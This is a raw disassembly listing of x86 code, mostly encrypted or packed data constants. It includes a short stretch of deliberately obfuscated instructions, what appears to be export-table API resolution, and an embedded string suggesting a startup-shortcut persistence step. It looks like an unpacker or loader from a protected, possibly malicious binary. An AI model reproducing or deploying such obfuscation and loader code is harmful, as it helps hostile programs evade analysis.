		dd 6, 58A64EC2h, 8358CF9Ah, 0C78B04EBh,	9D10FB81h, 850FFFFFh
		dd 0FFFFFFA4h, 4EB79B6h, 4C3A7AE2h, 52BE9h, 0AC538500h
		dd 28CD02F8h, 0A055867Ch, 2ECB0EF4h, 0A152807Ah, 0D0D253F5h
		dd 5FA5F1A2h, 0CA306417h, 7B81D58Ah, 0B91347F2h, 0DBA3992Bh
		dd 9A161D45h, 49E86D33h, 0AE6BEFE5h, 4824882Dh,	46B47A24h
		dd 0C06E3695h, 0B714C90Eh, 319D3CB1h, 0EE61B23Bh, 66F5CF7Dh
		dd 0D0481756h, 107C10BCh, 0AE4F804Eh, 15C60802h, 707ADA79h
		dd 1BBC38FFh, 1BB7DBB7h, 0A9EE1E14h, 8F217524h,	0C0631241h
		dd 0BFE196C6h, 0BAFACC25h, 6991A157h, 572F251Fh, 0A3009817h
		dd 2CD301FBh, 97448A80h, 5FC56B3Bh, 2F7D77C5h, 68F01757h
		dd 572F261Eh, 0A2019917h, 0BD7374E0h, 5A369A39h, 0DA7DFFF9h
		dd 0A5C9208Eh, 679F0CA8h, 9FD6D073h, 0E9005EF2h, 0AEB11FDAh
		dd 8DF75418h, 1756A7BAh, 89DA0A48h, 0CE6D1047h,	0E79F286h
		dd 4B0234h, 6D5B0000h, 93E549E8h, 1756669Fh, 727BE9ABh
		dd 340E3886h, 1F6h, 0EA6DAF00h,	6AEDE74Bh, 6AED2AADh, 670B67CBh
		dd 2CADA70Bh, 0DBB762EBh, 2727877h, 0C79342B5h,	992BB83Dh
		dd 175666A3h, 62D08E16h, 1756678Ah, 5D0965FDh, 4EED6D04h
		dd 0B667E8E2h, 90FCB21Ah, 4014C70Bh, 2A8633BAh,	685CEE74h
		dd 0DB175667h, 75E6E043h, 0B6049EC0h, 175666BEh, 1E690A4Ch
		dd 0F9852586h, 403845B7h, 4C340E3Fh, 0A3h, 4EED6D15h, 0CA6BE8E2h
		dd 0BD736966h, 5E329E3Dh, 4E4DBFFDh, 0C13B6F0Ch, 104EE291h
		dd 54F89DDEh, 5C9D9B38h, 67473D8Fh, 22BA1756h, 638A104Eh
		dd 8B20DE59h, 8B61170Ah, 0FE1756C4h, 6F65C566h,	0B8E64AEDh
		dd 56C4320Ah, 171D8517h, 39913DE0h, 0ACD00577h,	91AB1BF2h
		dd 4111B922h, 2934A0E2h, 340E874Fh, 5AF77AB4h, 79A0F9h
		dd 6DF90000h, 0E8E24EEDh, 0F95CB6Ch, 95E392C1h,	1756669Fh
		dd 66B3893Bh, 9E061756h, 0E20A30E9h, 0DEB22CF7h, 95B111B2h
		dd 33E215DBh, 15A2D290h, 702150E5h, 6D11481Ch, 80ED0AEAh
		dd 194EF1C4h, 0D8AFD975h, 5617567Dh, 0FDD07C21h, 959FE53Ch
		dd 0EB6F65D6h, 9EC0E448h, 3F7D4F6Eh, 27549ACDh,	9C30E110h
		dd 1D309CF0h, 0E60C254Dh, 45E68AEAh, 0EA67B0Dh,	18B34h
		dd 6DD20000h, 0E9E34FEEh, 1319B564h, 98923EE1h,	609A556h
		dd 0EDBDE00Ch, 599A2153h, 1813FAA4h, 5B95A35Dh,	3FC69E3Dh
		dd 0FF4D13EAh, 12BCD5F8h, 757FD34Bh, 0FF055100h, 615BE976h
		dd 0D4116CD4h, 0D28C204Ch, 9E3DDE1Ch, 6CD416E4h, 0FC683611h
		dd 1BA936BFh, 116CD421h, 0D4350FBDh, 1088116Ch,	0C793FF67h
		dd 0B519B83Dh, 379B36BFh, 0C70FC19Fh, 87F5B714h, 481CBD30h
		dd 24A60CFCh, 152782Eh,	6E210000h, 0AE1C421Bh, 12BC7439h
		dd 13C032CCh, 94D9D37Fh, 2752BBE5h, 78EEAED5h, 8F752D8Eh
		dd 0D07AB46h, 8F8529C8h, 2007E94Bh, 0A82F00E2h,	0EF6268C4h
		dd 6D01B224h, 0BB296BC1h, 856C329Ah, 0BDCAD4E7h, 18BB3365h
		dd 0EAB4D8B4h, 6C3B6458h, 0EC4FD711h, 0F4793EAEh, 56BF1145h
		dd 0F9B44D05h, 6A228149h, 2E23499Eh, 60EEh, 276EB700h
		dd 0FAA2104Eh, 0CD175666h, 0B58FF955h, 75175665h, 0F1FB5706h
		dd 9748B481h, 973B573Bh, 5E7FEDB3h, 0E768A6F4h,	0FCF69A36h
		dd 387AD97Ah, 0ADC9CCCCh, 0AA182080h, 1755DFD2h, 4C90BD25h
		dd 658344Fh, 5601F0B4h,	0B83DC317h, 0B5D9B519h,	67D54FE1h
		dd 1756018Dh, 6DB78E0h,	88h, 421B6E5Fh,	4034861Ch, 0B3175667h
		dd 68DA882Bh, 12BC461Bh, 101AB62Eh, 92683CDDh, 6412BE5Bh
		dd 116C4459h, 1AB66595h, 903CDD10h, 0D7067638h,	2C3FADF3h
		dd 0BA89DC5h, 0D43914C7h, 0DBDD7E58h, 0A3528192h, 457891CFh
		dd 83B3CCA6h, 5DA4FC5Fh, 37E2174Ch, 88CB055Bh, 1F1579D5h
		dd 0CE9C3FDAh, 0CEEE317Ch, 3498000Ch, 0FE7CB73Eh, 0B09DF15Dh
		dd 8DB08F49h, 0F559353Bh, 0D1E91BA5h, 11A3FDC8h, 6DF75C4h
		dd 267F2BB3h, 1C421B6Eh, 0B9137FAEh, 7AD64E12h,	85CFD70h
		dd 72DE7BF2h, 93F1DE04h, 0ADDFD558h, 938B67EEh,	7CFA3AB4h
		dd 3AA0FE92h, 9183B488h, 3C9F07C7h, 0BA579E64h,	3CDD1C16h
		dd 0E7EC090h, 0CB954489h, 8F23D205h, 0E21840E3h, 8829A86Bh
		dd 88244824h, 359h, 0A5080000h,	9834EB6Dh, 12BE5B92h, 973BDC18h
		dd 16BA599Dh, 913DDE1Ch, 8A4579Bh, 8E22CF02h, 0AA65784h
		dd 822ECF00h, 1B2368E9h, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	esi, 0AE8163Ch
		shr	esi, 5
		push	edx
		mov	edx, 23D654B0h
		add	edx, 6E4B1177h
		sub	edx, 8C6930CEh
		xor	esi, edx
		pop	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	71CFh
		mov	[esp], esi
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dw 0B6A6h
		dd 3571D8FAh, 0EF7A88B8h, 0FFC50305h, 5DBB02E0h, 0C61DE23Fh
		dd 849A0535h, 13466E27h, 0FDF03314h, 0D59D6F09h, 6DE4C276h
		dd 3058207Dh, 3031C851h, 68121001h, 74BB50C2h, 74B30025h
		dd 302E0625h, 60720101h, 6886C9C2h, 332325E9h, 0BC54A74Bh
		dd 66327AD9h, 30320BE9h, 0F36C2401h, 14468B5Fh,	14768005h
		dd 30329605h, 0F3640601h, 0D91A54B0h, 30321015h, 953FF66Eh
		dd 9D5F774Ch, 0BB9AD451h, 0B06B6556h, 8FEFB8F5h, 0B43D44A9h
		dd 303222B1h, 0D862106Bh, 30320802h, 68F15C21h,	34164688h
		dd 34164580h, 30328014h, 64F11041h, 39B7A99Eh, 0B337FA0Ch
		dd 0DA03B5BCh, 0B43D0404h, 30320250h, 0D860016Bh, 30328002h
		dd 6AF11A21h, 34167488h, 34165480h, 3032081Dh, 49F15643h
		dd 5918F3A4h, 6CC92225h, 3034060Eh, 0BD1B4001h,	35D82F70h
		dd 30305BE8h, 65326201h, 303207E9h, 0F36F2201h,	145E885Ch
		dd 14760105h, 30325405h, 0F3676501h, 6E614019h,	31160C88h
		dd 0DA355D84h, 7C330D04h, 3058FF25h, 30316850h,	69124001h
		dd 7CBB79C2h, 74B31425h, 302F0C25h, 61730401h, 1E7347C2h
		dd 0E8F82D5Eh, 0B918FF60h, 0DA2FE594h, 8DB97804h, 35D83DF4h
		dd 5A1EC882h, 33DA5301h, 10320201h, 0B96DC25Eh,	0B136A47Dh
		dd 28366445h, 77322001h, 0F359D356h, 56E7FEF3h,	7BCBE780h
		dd 2EBB9F8Ah, 873D04EBh, 5A3A0BF6h, 33DA1601h, 10322001h
		dd 0B96CD35Fh, 0B1362C75h, 29362045h, 76320201h, 774CC257h
		dd 93C2D226h, 2687F58Ah, 8DB925EBh, 35D803DCh, 0CC7A8367h
		dd 0D862046Bh, 30320202h, 68F15921h, 3416C488h,	34160480h
		dd 30322014h, 12F14041h, 9B36E9Bh, 0B43DFB37h, 303202FDh
		dd 1B47DBEh, 39F30338h,	0D861406Bh, 30322002h, 6BF14B21h
		dd 34165488h, 34164080h, 30320214h, 0BFF15242h,	0D90B0027h
		dd 3100C50Eh, 0ADBB2001h, 35D83AC8h, 5A33498Ah,	33DA5501h
		dd 10320201h, 0B96BC258h, 0B136A44Dh, 29366445h, 71322001h
		dd 2858D350h, 8EFA1F36h, 23E79128h, 8E5407EBh, 0F831A4BDh
		dd 0D867806Bh, 30324002h, 6DF17D21h, 34167C88h,	34164C80h
		dd 30320414h, 48F15744h, 303DE812h, 0E1798001h,	0DCAEBE1Dh
		dd 60EF3B8Ah, 0BFE24367h, 55B7012Ch, 0B337EE07h, 305807C0h
		dd 3031E956h, 6F128001h, 4CBB1FC2h, 74B32425h, 30281425h
		dd 67750801h, 0F71526C2h, 79357D35h, 3B3FBC8Ah,	9B385EBh
		dd 0BB710B91h, 30BCA50Eh, 30581001h, 3031E054h,	6D120401h
		dd 5CBB5FC2h, 74B30525h, 302E8425h, 65774001h, 0D66FA0C2h
		dd 0B9EC7775h, 0F7B3FC84h, 1CCEDBCFh, 7C138F8Ch, 305804EBh
		dd 30316852h, 6B124001h, 6CBB7BC2h, 74B31425h, 30260C25h
		dd 63710401h, 88C768C2h, 30320102h, 1E831D28h, 0D1CD45EBh
		dd 0D862206Bh, 30321002h, 68F15021h, 34164088h,	34164680h
		dd 3032011Bh, 0D3F1D041h, 394954B9h, 3ADABDEFh,	0B4321001h
		dd 0D2E76FBh, 7FD462BCh, 6FC089CBh, 62326B60h, 303283E9h
		dd 0F3686001h, 1466A95Bh, 14769105h, 30321D05h,	0F3604601h
		dd 3F523F4Fh, 30320783h, 0A9B7B301h, 0B937AA24h, 0DA2C0994h
		dd 8DB97104h, 35D80460h, 3DEF8988h, 8DBF07EBh, 35DD7A39h
		dd 4E9B0D8Ch, 448A45EEh, 333B282h, 0DA3CF584h, 0F1FD2304h
		dd 305820E8h, 3031C851h, 68121001h, 74BB50C2h, 74B30025h
		dd 302E0625h, 0E9830101h, 8BA4F305h, 10E9C0h, 0BD1B0000h
		dd 597F66A4h, 0EC11C499h, 0FE7193AEh, 850F959Fh, 6, 331D958Bh
		dd 0C38B05EAh, 7FB98D8Dh, 6A05EFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 3D5D9C3h, 0E901416Eh
		dd 8D016093h, 5EA0B25h,	181D9D89h, 8B6105EAh, 0EA073585h
		dd 0DD8D8905h, 0F05EA0Ah, 850FC7BFh, 8,	559D8960h, 6105EA25h
		dd 0ACD85C7h, 651005EAh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0EA1979C3h, 140D8589h
		dd 8B6605EAh, 0F585C7C2h, 5EA25h, 89000000h, 0EA11599Dh
		dd 95BD2305h, 0FF05EA32h, 0EA003DB5h, 0B1B86605h, 1995FF2Ch
		dd 6005EA2Ah, 810Fh, 0E9500000h, 0Dh, 0FEC5A0ABh, 230F5D8Bh
		dd 0CA325DF4h, 6A615BEEh, 1595FF00h, 8B05EA10h,	0BC4EEBC0h
		dd 2415629Bh, 32BB000Fh, 0E710B528h, 6941065Bh,	8D24101h
		dd 0E3BE3229h, 1071CDA0h, 6DCC12E3h, 0C78BB880h, 0C1F71C98h
		dd 76B120B9h, 243EFA44h, 0D3ADAE3Eh, 0CF210316h, 57B86C0Dh
		dd 0DEEF686Bh, 0E5033A81h, 61F1EA4Bh, 54B67856h, 559D8D40h
		dd 0B805EA11h, 39h, 1DCD8589h, 0E805EAh, 58000000h, 0D05h
		dd 0E9038900h, 39h, 0Eh	dup(77E60000h),	378D8DFFh, 6A05EF81h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 5839C352h, 2F90A4B7h, 80988340h, 8D8998D3h
		dd 5EA0ADDh, 0C7D1B70Fh, 0EA0ACD85h, 64B005h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 6EB95786h, 0BF0F6C5Fh, 0F585C7C1h, 5EA25h, 0FC000000h
		dd 1BC9B5FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 289608C3h, 0B8799179h, 8B82975Ah
		dd 95FFF8F1h, 5EA2A19h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0EAC35747h, 0B97B771h, 0EA302985h, 0FF006A05h
		dd 0EA101595h, 0EBC08B05h, 93215F38h, 0AEC55032h, 62D77B8Ah
		dd 963AB79h, 0BD395706h, 0D1A5190Ah, 5C994116h,	523B8FCEh
		dd 0EF5234BCh, 42515BF8h, 0E395A8B0h, 0B9534581h, 5D203572h
		dd 0EB740A46h, 0B0E945h, 66600000h, 0C2F6DA8Ch,	0C850F04h
		dd 3B000000h, 0EA1D4585h, 36840F05h, 3B000000h,	0EA1C8D85h
		dd 2A840F05h, 3B000000h, 0EA2B1985h, 1E840F05h,	3B000000h
		dd 0EA13E185h, 12840F05h, 83000000h, 0EA028DBDh, 840F0105h
		dd 5, 5FE9h, 3D08B00h, 0BA8B3C52h, 88h,	85784A8Bh, 49840FC9h
		dd 81000000h, 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch
		dd 0B8BD803h, 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh
		dd 0Fh,	4A04C383h, 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0EA4C219Dh
		dd 5B805h, 0E3FF0000h, 0D00BC361h, 6E8h, 0FA3C9900h, 0FBA58C6h
		dd 0B758DBBFh, 12C0814Ch, 0F00005Ah, 7BAD8B7h, 8160AD8Bh
		dd 528B55C2h, 8930FF9Fh, 0EA00B9B5h, 0E9805F05h, 0C6EF8114h
		dd 8B077D08h, 0EA18098Dh, 23EF8105h, 0E90D2AE8h, 0Bh, 214F2318h
		dd 0D3BC7F63h, 81A67417h, 649F5DF7h, 0C5B58918h, 8905EA13h
		dd 0CA8B6638h, 8B04E883h, 850F4ADEh, 26h, 0FE8h, 7D1FED00h
		dd 0F8677EE7h, 79A88463h, 4BCF4F11h, 31399D89h,	0E95E05EAh
		dd 1Bh,	0E04E3418h, 0BD894CB6h,	5EA0EA5h, 0FFFF84E9h, 0BEB0A8FFh
		dd 8F01EF51h, 0EB76E5D4h, 6F68536Ch, 75637472h,	6F742074h
		dd 61747320h, 70757472h, 14h dup(0)
		dd 8D582C00h, 10Eh, 0FD6E900h, 0CF680000h, 0E905EF84h
		dd 0FFFBD4E4h, 0EF85CA68h, 0D4DAE905h, 7468FFFBh, 0E905EF87h
		dd 0FFFBD4D0h, 0EF87B368h, 0D4C6E905h, 9268FFFBh, 0E905EF88h
		dd 0FFFBD4BCh, 0EF895068h, 0D4B2E905h, 0CF68FFFBh, 0E905EF8Dh
		dd 0FFFBD4A8h, 0EF90BD68h, 0D49EE905h, 0D768FFFBh, 0E905EF91h
		dd 0FFFBD494h, 57BCD4A7h, 0D2395138h, 5FB4CCBDh, 0D9324A30h
		dd 678CC4B6h, 0AD9F1D30h, 2C117E95h, 0AC90FF14h, 28107F94h
		dd 635AFB10h, 250C1A06h, 736CCEE8h, 0F21C3404h,	8D93F6CFh
		dd 53E23589h, 0A494F79Bh, 0E9A4876Ch, 881BDFA6h, 953FE97Eh
		dd 1A96AF16h, 34BA22Ch,	0D8E47187h, 305C30C1h, 57996C09h
		dd 0EC4FE820h, 10DE31Bh, 6E533049h, 0F5943A56h,	0E8205727h
		dd 6E80B886h, 280B4309h, 0CFC42A62h, 762719DCh,	0EDFFA651h
		dd 83385199h, 30h, 2675E60h, 0E235891Eh, 629A61C2h, 840092Ah
		dd 454A4B64h, 0B7B8593Ch, 60A8E81Fh, 0B83DEF8Eh, 0C9EEE81Fh
		dd 0FED5170Eh, 0BE6B3850h, 88000000h, 482D3404h, 0E23588E8h
		dd 967830F8h, 21CF07F1h, 0B05E7646h, 44AFE7D7h,	358DCE2Dh
		dd 255D2DE2h, 0A1D9A1CEh, 0BDD5BBD8h, 9D335F53h, 0C1B8F7B6h
		dd 1F9BF1A4h, 0D43FF7E8h, 3E8825E1h, 560D3B31h,	0A14F8775h
		dd 0AFEEC1ADh, 4F6A082Ch, 9FD7452Eh, 0BE8E83E6h, 9A52EE0Ch
		dd 9EB680E3h, 18301A75h, 8C7B8821h, 736FC1CDh, 0DAAh, 23C800CBh
		dd 0AE457D4Ch, 2BC0F8C1h, 0B55E7644h, 33D8F0DAh, 1CB4964h
		dd 804D22C9h, 0CCA348h,	7C4C23C8h, 370EAF44h, 250CCE52h
		dd 2F3092E8h, 1E02675Eh, 0C2E23589h, 275F290Ah,	0CAA9C5C9h
		dd 4C23C800h, 0F93D447Ch, 9A9420BDh, 0AA1CDB2h,	8E4D4815h
		dd 84595EF2h, 3E022150h, 0ACE4E806h, 3851B0D5h,	0DF17E820h
		dd 0B8C80C31h, 21009F05h, 80ACC9A5h, 0DFE82034h, 5334DAF2h
		dd 0C2B9576Fh, 0C5946691h, 9E2EF7E2h, 5238517Ah, 0AEh
		dd 0CF45F9Bh, 0F8645D5Dh, 34048794h, 0A395F21Ch, 8C71126Bh
		dd 0F9172F1Fh, 7FD1BDF5h, 358DDD1Eh, 344C3CE2h,	7CC8B0DFh
		dd 804592Dh, 25CB832Bh,	79008F0Eh, 204F891Ch, 457EBAE8h
		dd 76B6EC9Ch, 29E13D51h, 0EBA4E1C2h, 0D909F792h, 17DFEE0Ch
		dd 33B0D6Eh, 1C34197Ah,	3992FEF2h, 152C6456h, 0CD8C604Eh
		dd 0AF39258Bh, 0CE00000Ch, 4728C3FBh, 0C4AB4078h, 5F30DBF3h
		dd 0DDB25971h, 6F38D3EBh, 0DEF6C042h, 5D755A35h, 0DDF5D9B6h
		dd 59715936h, 4F2A13B2h, 0E8250DE1h, 43A2587h, 9EF11A32h
		dd 0D33E5AAEh, 0EA77BF15h, 81C901C9h, 3404756Ah, 0A595F21Ch
		dd 0E8A5866Dh, 84E7DEA7h, 89EC80B8h, 0E81FB398h, 536E8048h
		dd 0DF314930h, 52DABFD3h, 0DBE81FB3h, 0A02CF9FCh, 503850F9h
		dd 16h,	9127FB3h, 65060000h, 0AC917F97h, 358967C9h, 0F9B179E2h
		dd 4D488695h, 890A1673h, 16DEE235h, 9742275Eh, 0ACE81FACh
		dd 0CDB4568h, 7053BB38h, 0C11D7189h, 0B880E709h, 4620D44Ch
		dd 1FB0FD23h, 0AF2BE3E8h, 720B488Ah, 1FA40917h,	5F17DFE8h
		dd 0DBF3DBB4h, 0C6F25435h, 36254F63h, 9AB29AC3h, 162E1E71h
		dd 0C79499F8h, 0A6534F63h, 0F3FC5B9Fh, 0BAB60F55h, 63AD919Fh
		dd 0CDE34F4Fh, 9BD1FCAEh, 20ECCF07h, 28D384E8h,	4C354D3Dh
		dd 63101075h, 18D04F64h, 0C8B0DF74h, 0EA3F5EB0h, 414F6462h
		dd 465A887Ch, 7A061FB9h, 0D1BBDC32h, 980F57B9h,	0E0776B5Dh
		dd 3A068F5h, 0CD53363Fh, 934F6459h, 0F1FD135Bh,	9BD3EBD2h
		dd 172F1F70h, 0DCD3D2F9h, 6F99C0A5h, 874F554Eh,	0C8286Ch
		dd 4A730A85h, 45296129h, 38894120h, 96EF275Bh, 23CD05F5h
		dd 0A237432Fh, 39496A6Dh, 0F38A0580h, 3379F396h, 0D33DF53Fh
		dd 8BF2BDF8h, 0D2EAD1B2h, 1FF109F1h, 0B21A7F13h, 0B6452129h
		dd 9464077Eh, 2A08284Dh, 10D84521h, 0ECDCB358h,	0F50EDD4h
		dd 7A97678h, 0B051Bh, 4D857000h, 0CA02C9A6h, 457D4E21h
		dd 0C3FBC1AEh, 5D754728h, 4ECCE1B6h, 0C0AF447Ch, 4728C3FBh
		dd 0C7A8437Bh, 9534DFF7h, 1067C9ACh, 0DB79E825h, 1C3404C4h
		dd 63B06A25h, 5549E7D9h, 0AC6h,	678CC4B7h, 0E2094108h
		dd 6F84BC8Dh, 0E9023A00h, 779CB486h, 0BD8F0D20h, 3C016E85h
		dd 0BC80EF04h, 38006F84h, 734AEB00h, 25100A16h,	637CDEE8h
		dd 0F21C3404h, 806BA395h, 59549CC4h, 0B1EB2F56h, 689DA052h
		dd 0DEB924h, 88C09DC5h,	0DDE4DDE4h, 77481E19h, 6F4AA59Bh
		dd 0E2363FC1h, 1B3304A7h, 175A3F53h, 0C9E8205Ah, 8668A06Ah
		dd 63F6C28Ah, 0A9DDB37Eh, 0E29B1491h, 0BBD3B8DBh, 50355955h
		dd 0AFC7C239h, 88C08C2Fh, 5B226A66h, 2295C79Fh,	0C0AC5FE1h
		dd 4748456Eh, 5A37FA3Eh, 5AB4CCBDh, 9FD6D256h, 1D241D71h
		dd 0AADF4124h, 4981AFC7h, 5A7C4025h, 0A46CB5B5h, 0B6CEBEDDh
		dd 6F540BCFh, 0A8EBCDBDh, 658BC38Bh, 0C1AE0569h, 0AAE2AAF9h
		dd 39004844h, 5E3B448h,	0E7332F81h, 96000009h, 0EF806BA3h
		dd 6C03E820h, 0E788639Bh, 650AE119h, 0C7907B93h, 669E68EAh
		dd 0E51DE28Dh, 659D610Eh, 0E119E18Eh, 0F792AB0Ah, 0E8251129h
		dd 4829D3Fh, 163FD034h,	480B881h, 0E462B43h, 83BB87E0h
		dd 9CB499FAh, 62A4F72h,	0DAE235C6h, 9D365A12h, 35C68CF4h
		dd 0CAEEAFE2h, 0A0D8A506h, 0E40A424Eh, 0E0D9A0E8h, 35C69B85h
		dd 0B2494DE2h, 99E9E38Bh, 0B980ECA4h, 251E28DCh, 89F038E8h
		dd 482622EAh, 77F1F326h, 69ADD49Ch, 3DB6ED9Fh, 0EF4428BEh
		dd 40BB1EDAh, 15857216h, 1A321A79h, 0A0A993F4h,	25105BC5h
		dd 8DC50DE8h, 4F3D5E63h, 54385B37h, 2956053Ch, 3D93D374h
		dd 92921h, 29615400h, 0A6DEADC2h, 2159224Dh, 0BFD7A5CAh
		dd 39513B54h, 2AA885D2h, 0ACC32860h, 234CA7DFh,	0A3CC275Fh
		dd 0E948A3DBh, 126BB5D0h, 0DF7DE825h, 4F3D5EC0h, 50385B37h
		dd 70536B53h, 919D738Bh, 685037D9h, 0FA61BE50h,	7E9666FFh
		dd 0D02ABA95h, 0B1C63266h, 25000005h, 1E02675Eh, 0C2E23589h
		dd 4C49660Ah, 0A55F3A43h, 0BBE8250Bh, 56330A73h, 0E8250BCAh
		dd 33A569Eh, 3073593Ah,	0D3DF3149h, 1579759Bh, 0A54E8676h
		dd 20ED0986h, 976106E8h, 2B4E377Fh, 0E8250C05h,	0B55B13DBh
		dd 917897D4h, 38A38461h, 0C2BA5F6Dh, 3D11B1h, 48F20000h
		dd 5C39404Fh, 0E23588D4h, 0D3B25C94h, 29CEB8Dh,	0C4B4D79Eh
		dd 26E628Ch, 0E9FBA255h, 8752CE2Dh, 17h, 13188A4Eh, 60B7857Bh
		dd 1823AE4h, 0FC904CF5h, 28E7FEFh, 482C0000h, 5E3B424Dh
		dd 0E8250C0Eh, 95F41AD2h, 0E8250C88h, 26E9ECB7h, 0DD43261Fh
		dd 83E8250Bh, 0BC26E4Bh, 6EA6E825h, 0C81089EAh,	204C19D1h
		dd 78018E0Fh, 0B2FC2441h, 24ECE824h, 48147148h,	18EE1436h
		dd 4CFCE51Ch, 0FBB3D218h, 758D7F10h, 0F20AFC9Bh, 0D104171Ch
		dd 3701A294h, 89BC571Fh, 634BD5B0h, 0D51DEE14h,	0E6057F51h
		dd 523E6147h, 705F4C31h, 99FE1058h, 15729CB4h, 6205EB23h
		dd 0F08B659Dh, 94638A3h, 0B986DF1Ah, 33036A81h,	8AEE13F3h
		dd 33F78EC6h, 0C3CEF363h, 852E42ADh, 0B8DB22EAh, 8E92B7CFh
		dd 52EE13C7h, 0C8ABD29Ah, 2925CB03h, 660A420Ah,	4F48DFC8h
		dd 6AFD3940h, 0BA3EC3E5h, 0FE6A3CFh, 0B679F6Ch,	3B00A368h
		dd 0EC7F4B03h, 5A9EE71Fh, 2269470Ah, 0D693FF59h, 1CED674Eh
		dd 9D6D0AE4h, 0E40A420Eh, 914EA0E8h, 62FDCF0Ah,	0C10506F1h
		dd 5D2E2AC8h, 43C7CB25h, 0B7DBA52Ah
		dd 67175894h, 412E832h,	40B0000h, 0B8F41A32h, 7E2D1C98h
		dd 0D33D758Dh, 618FC7B4h, 592BAE39h, 9FA05BDCh,	9AF60EFCh
		dd 1CF70FF9h, 8718973h,	88CC5431h, 549CE235h, 1CE7D38h
		dd 0DAA3DBA2h, 358971BFh, 0F7BF77E2h, 974219F2h, 0BDC4FCCEh
		dd 14853D79h, 2945CC22h, 0C6FECE5Dh, 58E44928h,	306BE236h
		dd 9EFBC2C5h, 0E2365992h, 91F29E56h, 7B6B5DA9h,	0A1FD26C2h
		dd 0A16D02E9h, 7EBA8769h, 7DF7205Ch, 61046894h,	0E235DFBCh
		dd 9AC336B1h, 40759EB6h, 0BE85C23h, 0B37E4AD5h,	0D8BF5119h
		dd 3935DBF3h, 2C781D71h, 0E8E235CEh, 67113A8Bh,	0FF00F432h
		dd 0F93DFFFFh, 96F6175Fh, 0E1D71F6h, 0F71C3404h, 7698B098h
		dd 35890617h, 390035E2h, 3588D45Ch, 2C642BE2h, 431478B0h
		dd 0C5FDCD98h, 5F77412Eh, 8D794526h, 70FB6992h,	66450D9Bh
		dd 0A30D6199h, 0D5AE5A9Eh, 0E40DE185h, 0C8ACED88h, 3871B2A9h
		dd 0F4335DFCh, 46234177h, 0B2A9D0DAh, 620E468Eh, 9DBC235h
		dd 0A702DB18h, 6Ch, 8400D6Eh, 9586EAE6h, 3B424D48h, 88B96702h
		dd 67AFE235h, 0CF0B320Bh, 0C27CAF15h, 0ACC9A5B4h, 0E825D3C0h
		dd 0E78668A0h, 0E825D43Ah, 0E11C4E3h, 0DDB576CAh, 8774AB7Ah
		dd 486B074Fh, 3857837Ch, 2134h,	0EE02D700h, 4DE23593h
		dd 0ABA74981h, 0FD89BBE3h, 7FE8FFFFh, 10h, 35E9C206h, 6FB334A8h
		dd 917F1003h, 2C000002h, 39513D5Eh, 0D4B7DBD7h,	0B6D5ACE4h
		dd 525EB0C8h, 7F7903Eh,	281124CFh, 3588E34Dh, 344D85E2h
		dd 3588CF51h, 355991E2h, 6D149B1Ah, 1F9CFD08h, 7F1AE3E8h
		dd 0E81F9CB1h, 0D9377FB7h, 1F9D74B8h, 5B9EB9E8h, 3F573B58h
		dd 0F618301Ch, 37B596FAh, 0C93850E0h, 54h, 424D482Ah, 5E3B023Bh
		dd 0E23588D2h, 42275E96h, 0E23588DEh, 43264A82h, 0E81FB7BEh
		dd 151B7E47h, 0CBE81FB8h, 7BB36F03h, 629A6102h,	5BC1A00Eh
		dd 0B2E81FB8h, 3C5BB5CDh, 1ADA344Ch, 86F1AAA2h,	35863EFh
		dd 90B7E6D8h, 922CB865h, 96C43851h, 27000000h, 0F21C3404h
		dd 856BA395h, 0B0D31AE2h, 86AA8FC7h, 5AE23589h,	0B4FC14F9h
		dd 857512FCh, 2CCFA64Dh, 83E2358Eh, 5D6883BBh, 0D43A523Eh
		dd 0D0156914h, 733B5790h, 5175301Fh, 0B6BA546Ch, 266EA695h
		dd 0C8543A5Fh, 0DC14E822h, 0DCF4C6A5h, 566E5837h, 7671AA6Fh
		dd 716DC3D3h, 4AAh, 23C800CBh, 0AE457D4Ch, 2BC0F8C1h, 0B55E7644h
		dd 33D8F0DAh, 1CB4964h,	804D22C9h, 0CCA348h, 7C4C23C8h
		dd 370EAF44h, 2515CE52h, 2F3092E8h, 0F11A3204h,	7D96AE9Eh
		dd 1C340462h, 1F370665h, 3F91FDF1h, 0B3587058h,	0EF561590h
		dd 32625A03h, 9B9A3A31h, 672F398Eh, 2633562Fh, 3AE81FEAh
		dd 0B17D1CF2h, 8E81FE9h, 81E60840h, 0E719FB7h, 4BD0A255h
		dd 397425D0h, 0FF6A0F76h, 0E1EE09FEh, 3F945029h, 80CA663h
		dd 9FBC177Bh, 8DE8911Eh, 0F3F9DF77h, 0E820EF8Ch, 60986106h
		dd 3B984428h, 2E183B53h, 44275E16h, 0F473073h, 82BA86E1h
		dd 6028606Ch, 0E287BE8Bh, 0F3F9DF3Eh, 72BEDB22h, 76F3F9DFh
		dd 0FF9AF6BEh, 0F3F9DF37h, 7992AA96h, 596Dh, 1A023E00h
		dd 3DE23589h, 88E70C83h, 546987BFh, 0CCF36590h,	0C6AA2D2Fh
		dd 35C87DA3h, 5C9FC4E2h, 3E5B625Bh, 0E235C7F2h,	151B3EF6h
		dd 0CBE235C8h, 3B0C6F03h, 19DDE803h, 0AB3F14D6h, 0BFD7A1A3h
		dd 79155D51h, 671E361Ah, 771B3304h, 9175B8D9h, 0F176E235h
